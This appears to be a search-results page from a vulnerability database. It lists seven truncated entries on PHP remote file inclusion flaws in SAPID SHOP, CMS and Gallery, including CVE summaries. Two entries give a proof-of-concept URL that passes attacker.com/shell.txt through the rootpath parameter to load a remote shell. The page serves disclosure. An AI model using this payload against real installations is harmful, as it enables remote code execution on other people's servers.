7 matches found
SAPID SHOP <= 1.3 - Remote File Include Vulnerability
No description provided by source. Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 ?php require $formsdir.calmenuform.php; if!definedcommonextfunctions definecommonextfunctions, loaded;...
CVE-2012-5293: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in SAPID CMS 1.2.3 Stable allow remote attackers to execute arbitrary PHP code via a URL in the 1 GLOBALSrootpath parameter to usr/extensions/gettree.inc.php or 2 rootpath parameter to usr/extensions/getinfochannel.inc.php...
SAPID SHOP <= 1.3 Remote File Include Vulnerability
Exploit for unknown platform in category web applications =================================================== SAPID SHOP PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC :...
SAPID SHOP <= 1.3 Remote File Include Vulnerability
No description provided by source. Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 ?php require $formsdir."calmenuform.php"; if!defined"commonextfunctions" define"commonextfunctions", "loaded";...
SAPID SHOP 1.3 - Remote File Inclusion
SAPID SHOP 1.3 - Remote File Inclusion Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln :...
CVE-2006-4065: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in Dmitry Sheiko SAPID Gallery 1.0 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 rootpath parameter to a usr/extensions/getcalendar.inc.php or the 2 GLOBALSrootpath parameter to b usr/extensions/gettree.inc.p...
CVE-2006-4026: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in SAPID CMS 123 rc3 allows remote attackers to execute arbitrary PHP code via a URL in the 1 rootpath parameter in usr/extensions/getinfochannel.inc.php and the 2 GLOBALS"rootpath" parameter in usr/extensions/gettree.inc.php...